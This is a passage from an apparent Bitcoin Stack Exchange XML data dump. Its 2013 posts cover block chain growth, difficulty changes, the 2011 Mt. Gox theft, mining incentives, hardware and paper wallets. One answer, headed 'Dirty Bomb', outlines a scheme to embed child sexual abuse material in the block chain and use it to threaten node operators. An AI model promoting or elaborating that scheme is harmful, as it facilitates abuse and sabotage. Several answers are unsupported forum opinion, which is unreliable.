the more they are compressed. This means that you required less disk space to store the block chain, but also that it takes longer to start building it from scratch. Other clients have to decompress it to share it with you and you will have to compress everything you receive. This results in the fact that new clients often need multiple days to get in sync with the network.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-03-26T20:48:43.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8740" PostTypeId="2" ParentId="8735" CreationDate="2013-03-26T21:28:52.290" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If 25% of the network hashpower were to be isolated (Australia had no Internet for example), what is the effect on block generation?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Aussie transactions take 4x longer to confirm, actually. Everybody else's transactions take 33% longer (1.0/0.75)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What would happen to the isolated Australian chain if it reconnects to the main chain? (w.r.t. the difficulty adjustment)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's instantly blown away, and the main chain is downloaded to all of the Aussie bitcoin clients.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Suppose a different percent of the network were to become isolated. What combination of %isolated, duration, and network hashrate would cause a 4x difficulty to be reached?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Suppose that 3/4 of miners suddenly have no internet access. For 8 weeks. That's when you'd see the difficulty drop to 1/4 of its previous value.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-01-07T05:04:52.763" LastActivityDate="2015-01-07T05:04:52.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8741" PostTypeId="2" ParentId="3724" CreationDate="2013-03-26T21:44:50.250" Score="3" Body="&lt;p&gt;According to MtGox, the hacker got &lt;a href=&quot;https://bitcointalk.org/index.php?topic=83794.0#post_june_2011_mt_gox_incident&quot; rel=&quot;nofollow&quot;&gt;about 2000 BTC&lt;/a&gt;.  A few real customers also appear to have purchased bitcoins at an artificially low price during the incident, withdrawn them, and kept them. This is estimated to amount to less than 650 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The details given at the above link are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~June 2011 Mt. Gox Incident&#xA;Time: 2011-06-19T18:00 ± 1 h (theft), days ensuing (hacks &amp;amp; withdrawals)&#xA;Victim: Mt. Gox (some claim also customers)&#xA;Status: Thief uncaught&#xA;Amount:&#xA;Stolen by thief: 2000 BTC (official estimate)&#xA;Additional withdrawn from Mt. Gox: 643.27 BTC (lower bound)&#xA;Total: Lower bound 2643.27 BTC&#xA;Equivalent USD: 46970.91 $ (used last trade value; actual price at the time was not reliable)&#xA;Transactions: none released officially&#xA;The event's scale was widely disputed; some report a theft of almost 500000 BTC due to related account hacking. At this time, these reports seem to be unfounded and closer inspection puts the losses at closer to 2500 BTC. Some additional money was stolen by traders capitalizing on the dropping price and withdrawing in time, including toasty of the bitcointalk.org forums. Mt. Gox claims it has reimbursed customers for this theft.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3537" LastEditorUserId="516" LastEditDate="2013-03-26T23:34:04.203" LastActivityDate="2013-03-26T23:34:04.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8742" PostTypeId="2" ParentId="8712" CreationDate="2013-03-26T22:15:42.567" Score="0" Body="&lt;p&gt;The blockchain will continue to grow over the years. It depends on how much data people put into it. There is some upper limits set right now, but they will likely be changed once Bitcoin grows so popular we need more space. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore it stands to reason that eventually users will not download the blockchain themselves, but collectively do that. Via Bitcoin wallets for example. Or use light clients that have no copy of the chain themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is expected to remain &quot;affordable but ineffective&quot; for the time to come. Also given an extensive form of blockchain-pruning can reduce the blockchain's size, but hasn't been implemented for a lack of priority.&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2013-03-26T22:15:42.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8743" PostTypeId="1" CreationDate="2013-03-26T22:17:28.123" Score="26" ViewCount="35512" Body="&lt;p&gt;What happens to the bitcoin network when the miners all stop, years in the future after all the bitcoins have been mined?  How will the network continue to function?  Won't bitcoins then be useless?  What would be the incentive for an individual to continue using computational power to service all the transactions?  Isn't this like a ticking time bomb or is there something I'm not getting?&lt;/p&gt;&#xA;" OwnerUserId="3614" LastEditorUserId="5406" LastEditDate="2018-04-23T16:01:06.800" LastActivityDate="2021-09-27T23:30:53.803" Title="What happens to the bitcoin network when the miners all stop in the future?" Tags="|mining-theory|network|reward-schedule|weaknesses|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8744" PostTypeId="2" ParentId="8743" CreationDate="2013-03-26T22:18:57.827" Score="3" Body="&lt;p&gt;They won't ever stop!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now they get the block rewards, but they halve every so many blocks. (can be changed but is unlikely to)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Later they will receive rewards that people put on transactions. It's still unclear how high those fees will work out to be. Likely all transactions will carry some very small fee, and miners will keep up the hard work to earn those fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also expect &quot;green addresses&quot; to play a much bigger role in the future. Those addresses' transactions will be &quot;certainly good&quot;, given they are owned by trusted parties.&lt;/p&gt;&#xA;" OwnerUserId="909" LastEditorUserId="909" LastEditDate="2013-03-26T23:35:05.347" LastActivityDate="2013-03-26T23:35:05.347" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8745" PostTypeId="1" CreationDate="2013-03-26T22:20:06.860" Score="2" ViewCount="235" Body="&lt;p&gt;Right now, the number of blocks created is increasing at a rapid rate.  In addition I tried to import coins into a MtGox account and noticed that even after 8 confirmations the funds aren't available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Traditionally, the funds were available after 6 confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After thinking about this, it makes sense that if many blocks are claimed in multiple successions and not enough time has passed, it may be reasonable to wait a period of time before accepting the transaction.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;My question is: What is the formula that should be used when counting the number of confirmations required for a tx?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Should I take into consideration the rate of change? ...over what period?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This question seems to be relevant during the increase in hashes coming from the new ASIC line from BFL and Avalon.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2013-04-09T20:42:41.933" LastActivityDate="2014-04-20T23:59:12.730" Title="How many confirmations is enough if block creation rate is volatile?" Tags="|confirmations|difficulty|asic|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8746" PostTypeId="2" ParentId="8729" CreationDate="2013-03-27T00:38:44.097" Score="3" Body="&lt;p&gt;This strongly depends on what you think makes a financial system healthy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as there is no challenge to the core of Bitcoin, distributed no third party controlled transactions, there is no need to worry about any of the technical aspects. Stakeholders are the major problem here, the hashrate distribution being the clearest example. Stakeholder power must be distributed to preserve the nature of Bitcoin. Hashrate has a hard limit at 50%, but even close will cause less reliability. Other stakeholder measurements have no clear/hard limits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The health measure then comes purely from the &lt;strong&gt;hashrate&lt;/strong&gt; (indicating security and current interest in the minable Bitcoin) and the amount of users connected to the network. Sadly the users connected cannot be measured correctly due to Bitcoin wallet services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other metrics can show you what happens to Bitcoins, but not everywhere else. Some indications can be given about how Bitcoin are used, but not about their actual &quot;health&quot;. At least not in any measure of health I can currently see to be valuable. I'd consider transaction origin and destination diversity to give some indication of user diversity, which would indicate how much Bitcoin is used, which would indicate robustness through diversity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI: Many interesting graphs are &lt;a href=&quot;http://blockchain.info/charts&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. They say something, but do not clearly indicate health. I do think most of them have &quot;better&quot; or &quot;worse&quot; directions, but they are fairly easily manipulated, especially in unhealthy circumstances.&lt;/p&gt;&#xA;" OwnerUserId="909" LastEditorUserId="5649" LastEditDate="2013-06-20T18:43:51.123" LastActivityDate="2013-06-20T18:43:51.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8748" PostTypeId="2" ParentId="8721" CreationDate="2013-03-27T01:52:59.200" Score="0" Body="&lt;p&gt;The block chain will never get infinitely large. In fact, &lt;em&gt;nothing&lt;/em&gt; will ever get infinitely large.&lt;/p&gt;&#xA;" OwnerUserId="902" LastActivityDate="2013-03-27T01:52:59.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8749" PostTypeId="2" ParentId="876" CreationDate="2013-03-27T03:09:40.043" Score="2" Body="&lt;p&gt;In any P2P currency, there are only 3 choices, or combination of them.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You fund miners from savers.&lt;/li&gt;&#xA;&lt;li&gt;You fund miners from spenders.&lt;/li&gt;&#xA;&lt;li&gt;You let the government provide the mining. A public need so the economy doesn't stop.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;1 is not available to Bitcoin long-term, because debasement is halving every four years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 penalizes economic activity, which is more important than burying money, ahem saving. Also &lt;strong&gt;it doesn't scale&lt;/strong&gt;, unless it is uniform in the protocol. Gavin wrote making it uniform won't work in the market.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 is thus the outcome for Bitcoin. (&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8671/any-counter-proof-that-satoshi-nakamoto-did-not-design-a-ponzi-scheme-on-purpose&quot;&gt;as designed by Satoshi&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="3441" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-03-27T03:17:13.617" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8750" PostTypeId="1" CreationDate="2013-03-27T04:49:06.190" Score="1" ViewCount="290" Body="&lt;p&gt;What if Bitcoin gets to the point that all the coins have been mined? There will be lots of transactions and no one to process them. My question is who will do all the transaction processing when mining no longer pays.    &lt;/p&gt;&#xA;" OwnerUserId="3622" LastEditorUserId="2306" LastEditDate="2013-03-27T05:18:20.457" LastActivityDate="2013-03-27T05:20:04.777" Title="What if Bitcoin gets to the point that all the coins have been mined?" Tags="|transactions|" AnswerCount="1" CommentCount="0" ClosedDate="2015-10-29T13:50:58.290" ContentLicense="CC BY-SA 3.0" />
  <row Id="8751" PostTypeId="2" ParentId="8738" CreationDate="2013-03-27T05:08:10.637" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What realistic scenario would cause the difficulty to decrease by a factor of 4?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Most plausible I can think of would be a massive sustained power outage, like the 2003 Northeast blackout, covering an area with a heavy miner concentration.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How much horsepower must be added and then lost for a 4x difficulty to be realized?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To quadruple the difficulty, you'd need to increase the network hashing rate by 4x, so you'd need to dump in 3x the current network hashing power.  But if someone has that much power to throw around, why bother with just a DOS when they could go for a 51% (or 75% in this case) attack and really screw with things?  This isn't really a relevant concern.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How long will it take a transaction to be included in a block/confirmed (worst case)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Worst case - never, same as currently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normal case - 1/4 hashing power would mean everything would run at approximately 1/4 speed, so you'd be looking at 40 minutes per block on average, but with potentially very large absolute variances.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How long will it take for the chain to return itself to normal levels?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Until the hashing power comes back online or until the next 2016 block allows the difficulty to correct itself.  Assuming the 3/4s of the network got taken out right after an adjustment, it would be 2 months until correction.  Unless the taking-out was something outright cataclysmic, the hashing power will come back long before that.&lt;/p&gt;&#xA;" OwnerUserId="3310" LastActivityDate="2013-03-27T05:08:10.637" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8752" PostTypeId="2" ParentId="8750" CreationDate="2013-03-27T05:20:04.777" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;From the bitcoin wiki&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It is envisioned that over time the cumulative effect of collecting transaction fees will allow somebody creating new blocks to &quot;earn&quot; more bitcoins than will be mined from new bitcoins created by the new block itself. This is also an incentive to keep trying to create new blocks even if the value of the newly created block from the mining activity is zero in the far future.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When you make a transaction and set a TX fee, that goes to the bitcoin miner.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-03-27T05:20:04.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8755" PostTypeId="2" ParentId="8572" CreationDate="2013-03-27T10:08:15.407" Score="-2" Body="&lt;p&gt;&lt;strong&gt;Dirty Bomb&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pay an &quot;anonymous troll&quot; to steganographically copy child pornography into the block chain. Then get the mainstream media to publicize this fact. Then threaten anyone who is running a full node with CP charges.  Unwitting possession would not work as a defense because the fact that the block chain contains CP is already widely known. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &quot;nuclear option&quot; like this could easily backfire though. The government itself would need to do something highly illegal first before it can use the law to its advantage.  Even the people working for three letter agencies are normal human beings, so many of them will oppose this out of disgust. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would probably only cause a temporary disruption because bitcoin would quickly switch to a pruned block chain model that doesn't require a single node to store all the transactions.&lt;/p&gt;&#xA;" OwnerUserId="3627" LastActivityDate="2013-03-27T10:08:15.407" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8756" PostTypeId="1" CreationDate="2013-03-27T10:45:45.993" Score="1" ViewCount="631" Body="&lt;p&gt;If you had a free power source and took it out of the equation, what would be potentially the best option for bitcoin mining?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have limited space, so for about one or two computers tops. What hardware would you choose ultimately based on the basis it's available today?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. Can top end graphics cards still be as good as a FPGA setup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can FPGA's out do ASIC in the aspect that the hardware is cheaper/ more accessible? or is it still not worth while in comparison?&lt;/p&gt;&#xA;" OwnerUserId="2828" LastEditorUserId="2306" LastEditDate="2017-04-25T20:00:29.327" LastActivityDate="2017-04-25T20:00:29.327" Title="What's the best mining option if you weren't worried about power costs?" Tags="|mining-hardware|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8757" PostTypeId="2" ParentId="8756" CreationDate="2013-03-27T11:58:13.410" Score="3" Body="&lt;p&gt;At time of writing it still possible to run a GPU farm but at the speed of the increase in difficulty this will not last for long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second presumption with this is that you are not paying for the hardware, its very unlikely you would even  break even if you had to purchase hardware at this time. The only real option in a competitive market is to go down the ASIC route. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Performance in a good quality ASIC can be 100 x that of a top end GPU. The price tag could realistically be about the same. There is zero comparison.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-03-27T11:58:13.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8758" PostTypeId="2" ParentId="8756" CreationDate="2013-03-27T12:53:45.447" Score="0" Body="&lt;p&gt;If power cost is not a concern, your ROI calculation is simplified to just Hash/$&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can refer to the &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;Mining Hardware Comparison&lt;/a&gt; page for some numbers.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;GPU best of breed can get you about 3.28MH/s/$ (excluding the cost of your PC)&lt;/li&gt;&#xA;&lt;li&gt;FPGA best of breed can get you about 1.64MH/s/$&lt;/li&gt;&#xA;&lt;li&gt;ASIC gets you about 50MH/s/$ - the value is likely lower now because Avalon (one of the ASIC provider) has increase their price by 4 times recently, and Butterfly Lab has not really started shipping their products&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So to answer your question, yes, GPU can be a viable option if power cost is not a concern (including all the heat generated in the room).&lt;/p&gt;&#xA;" OwnerUserId="1097" LastActivityDate="2013-03-27T12:53:45.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8759" PostTypeId="1" CreationDate="2013-03-27T13:52:26.057" Score="2" ViewCount="857" Body="&lt;p&gt;They have every motivation to do so. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extreme volatility is bad for confidence and can hurt the chance of Bitcoin becoming a respected currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say for the sake of argument that Satoshi owns 500,000 BTC. This is a conservative estimate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone holding that much BTC could easily dampen the wild price swings we are seeing at the moment by selling large quantities when the price spikes and buying them back when it crashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By doing this they risk losing a fraction of their bitcoins.  However, this would also increase the probability of bitcoin’s success and them becoming multimillionaires. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which would you choose? &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;50% chance that you own 500,000 BTC worth $500 Million USD in 2017. 50% chance that bitcoin fails to take off and they are worth $5 Million USD.&lt;/li&gt;&#xA;&lt;li&gt;80% chance that you own 300,000 BTC worth $300 Million USD in 2017. 20% chance that bitcoin fails to take off and they are worth $3 Million USD. Plus $16 Million USD profit right now.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note: The above numbers are not meant to be scientific. They are just simplifications meant to illustrate the gist of my argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don’t see how any rational person would choose option (1), unless they have some really crazy lopsided utility function for money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why isn’t it happening? Why are most coins mined in 2009 practically untouched?&lt;/p&gt;&#xA;" OwnerUserId="3627" LastEditorUserId="3627" LastEditDate="2013-03-27T16:01:41.263" LastActivityDate="2014-01-05T23:27:49.583" Title="Why aren't early adopters intervening in the market in order to stabilize the BTC price?" Tags="|economic-theory|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8760" PostTypeId="1" AcceptedAnswerId="8761" CreationDate="2013-03-27T14:06:04.210" Score="9" ViewCount="2264" Body="&lt;p&gt;I'm interested in doing some research on the ripple system. Is there a whitepaper which explains the underlying fundamentals and how they are realised? I know about the Wiki, but that is not citeable in research publications.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="5406" LastEditDate="2021-03-06T19:33:21.433" LastActivityDate="2021-03-06T19:33:21.433" Title="Is there a ripple whitepaper?" Tags="|ripple|academic-research|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8761" PostTypeId="2" ParentId="8760" CreationDate="2013-03-27T14:37:45.877" Score="3" Body="&lt;p&gt;Not that I know of. Opencoin is still playing around with the protocol, so there probably won't be a white paper until they open source it.&lt;/p&gt;&#xA;" OwnerUserId="3627" LastEditorUserId="3627" LastEditDate="2013-03-27T18:01:14.123" LastActivityDate="2013-03-27T18:01:14.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8762" PostTypeId="2" ParentId="8759" CreationDate="2013-03-27T15:17:42.097" Score="0" Body="&lt;p&gt;That is because no early adopter believes in the statement: &#xA;&quot;Extreme volatility is bad for confidence and can hurt the chance of Bitcoin becoming a respected currency.&quot;&lt;/p&gt;&#xA;" OwnerUserId="2936" LastActivityDate="2013-03-27T15:17:42.097" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8763" PostTypeId="2" ParentId="6132" CreationDate="2013-03-27T16:09:21.203" Score="5" Body="&lt;p&gt;&lt;strong&gt;listsinceblock&lt;/strong&gt; is more convinient - it can be used incrementally.&lt;/p&gt;&#xA;" OwnerUserId="3633" LastActivityDate="2013-03-27T16:09:21.203" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8764" PostTypeId="2" ParentId="8759" CreationDate="2013-03-27T16:35:51.347" Score="3" Body="&lt;p&gt;I think the idea is to have a system that is not subject to manipulation. Highs and lows may be what I consider growing pains but will eventually diminish provided there is confidence that the system is a true free market system. This means free of manipulation. Let the free market reign and value will be real. Manipulate it and we basically have another ponzie scheme like we have now with the US dollar. &lt;/p&gt;&#xA;" OwnerUserId="3634" LastActivityDate="2013-03-27T16:35:51.347" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8765" PostTypeId="1" CreationDate="2013-03-27T16:57:20.807" Score="-1" ViewCount="192" Body="&lt;p&gt;It keeps telling me at the bottom of the screen that the displayed transactions may not be correct! You may need to upgrade, or other nodes may need to upgrade. Can anyone help me please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am using a mac os x version 10.6.8 and i have tried to upgrade the bitcoin wallet using bitcoin-0.8.1-macosx.dmg but after a restart it will not open the wallet unless i go back to my previous version. :-(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help will be greatly appreciated. :-)&lt;/p&gt;&#xA;" OwnerUserId="3636" LastEditorUserId="5406" LastEditDate="2014-10-12T22:00:09.480" LastActivityDate="2014-10-12T22:00:09.480" Title="bitcoin-qt v0.7.2-beta qt version 4.8.2 is FROZEN/CORRUPT?" Tags="|bitcoin-core|mac|" AnswerCount="2" CommentCount="0" ClosedDate="2014-10-13T16:34:26.330" ContentLicense="CC BY-SA 3.0" />
  <row Id="8768" PostTypeId="2" ParentId="8759" CreationDate="2013-03-27T17:01:56.827" Score="1" Body="&lt;p&gt;There once was a guy named &lt;a href=&quot;https://en.bitcoin.it/wiki/Pirateat40&quot; rel=&quot;nofollow noreferrer&quot;&gt;pirateat40&lt;/a&gt; who had been trusted with a lot of Bitcoin. On August 17, 2012, he decided that he didn't like how quickly Bitcoin was gaining value and decided to sell a chunk of his holdings at a low price in order to bring down the value. He may have recovered his losses, if he did at all, by rebuying low and up the rise in price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y3tHj.png&quot; alt=&quot;MtGox chart Aug 15-21&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He claims to have done this several more times, but to a lesser degree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/PthgrzDS&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is IRC transcript&lt;/a&gt;. I was in the room -- I think #bitcoin or #bitcoin-otc on Freenode -- at the time he announced his intentions. I found this &lt;a href=&quot;https://bitcointalk.org/index.php?topic=101378.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;forum thread&lt;/a&gt; linking to it.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-03-27T17:01:56.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8770" PostTypeId="2" ParentId="8743" CreationDate="2013-03-27T21:20:50.290" Score="16" Body="&lt;p&gt;Bitcoin becomes very insecure if miners stop mining. Think of how easy a 51% attack would be to pull off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I disagree with your assumption that miners will stop. And certainly that if Bitcoin dies it would be because miners stop. I would instead think that miners would only stop if something else already killed Bitcoin. Bitcoin is designed to always give miners an incentive to keep mining and secure the network. If miners don't have an incentive to mine, then Bitcoin has already failed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many mining pools don't pay out income from transaction fees and the whole thing is often glossed over. But mining income is newly minted coins PLUS fees from the transactions you include in the blocks you generate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at the tx fee statistics at &lt;a href=&quot;http://blockchain.info/no/charts/transaction-fees&quot;&gt;http://blockchain.info/no/charts/transaction-fees&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I write this at the end of march 2013, it looks like tx fees were about 4 BTC per day a year ago and are now about 50 BTC. At the same time the newly minted coins in each block has dropped from 50 BTC to 25 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With 6 blocks per hour this means one year ago we mined 7200 BTC in new coins and 4 BTC in fees per day. Now we mine daily 3600 BTC in new coins and 50 BTC in tx fees. So tx fees went from being 0.00056% of the income a year back to the 1.39% of mining income they are today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure you can see where this is going. No, mining does not stop when the minting of new coins stops.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-03-27T21:20:50.290" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8772" PostTypeId="1" CreationDate="2013-03-27T21:40:04.323" Score="3" ViewCount="3901" Body="&lt;p&gt;I've read alot of questions before I posted this... What I want to do is take my wallet from blockchain.info that contains a few bitcoins, and &quot;store&quot; it offline, however I have some specific questions if anyone can help:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I understand creating a paper wallet from blockchain.info's My Wallet. However, if I do this then won't any sensitive data still possibly be saved on their server(s), therefore rendering the paper wallet not completely secure?&lt;/li&gt;&#xA;&lt;li&gt;In a partial answer to my first question, they have a way to generate and offline bitcoin address and corresponding private key. So would it be best to do that, and then from blockchain.info's My Wallet should I then send all bitcoins to this new bitcoin address, effectively eliminating any wallet that is saved in my account on that site? If that is the case, then:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;would I even need a wallet? If my &quot;paper wallet&quot; shows the bitcoin address and its' corresponding private key, then is that all I need to put in a safe? just the bitcoin address that I sent all coins to from my wallet, and then that addresses private key?&lt;/li&gt;&#xA;&lt;li&gt;should I delete any backups of the previous wallet that originally had the coins that I sent to this newly created offline address?&lt;/li&gt;&#xA;&lt;li&gt;should I then close/delete my entire account on blockchain.info?&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Forgive me if I sound redundant, but I guess I'm wondering if all I need to do is a &quot;transaction&quot; from my online wallet to a newly created 'offline' bitcoin address? In 10 years, in order to access these coins, I ONLY need that new bitcoin address and its private key?&lt;/p&gt;&#xA;" OwnerUserId="3644" LastActivityDate="2013-06-26T04:34:47.757" Title="How Would This Procedure Be Performed? Transfer to Offline wallet" Tags="|blockchain|wallet|private-key|e-wallet|public-key|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8773" PostTypeId="1" AcceptedAnswerId="9493" CreationDate="2013-03-27T22:17:50.320" Score="3" ViewCount="30910" Body="&lt;p&gt;Is there anyway of being able to transfer bitcoins to pound sterling to a paypal account at all? I struggle to find any solutions in this area so that I can make regular conversions. Even just to a UK bankaccount is ok, but Paypal is prefered? even if it means getting small fees as one would expect.&lt;/p&gt;&#xA;" OwnerUserId="2828" LastEditorUserId="2828" LastEditDate="2013-03-27T23:12:06.553" LastActivityDate="2013-04-20T17:21:06.447" Title="Whats the easiest way to go from BTC to GBP? Paypal solution?" Tags="|exchanges|paypal|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8775" PostTypeId="2" ParentId="8772" CreationDate="2013-03-27T22:42:47.150" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I need to do is a &quot;transaction&quot; from my online wallet to a newly created 'offline' bitcoin address? In 10 years, in order to access these coins, I ONLY need that new bitcoin address and its private key?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use Blockchain's product or print off an single address page from &lt;a href=&quot;http://Bitaddress.org&quot; rel=&quot;nofollow&quot;&gt;http://Bitaddress.org&lt;/a&gt;. Send a transaction to the public key and safely store that piece of paper until you next need it. Be very careful, though, because if you lose that piece of paper, you &lt;em&gt;will&lt;/em&gt; lose the coins associated with that address.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-03-27T22:42:47.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
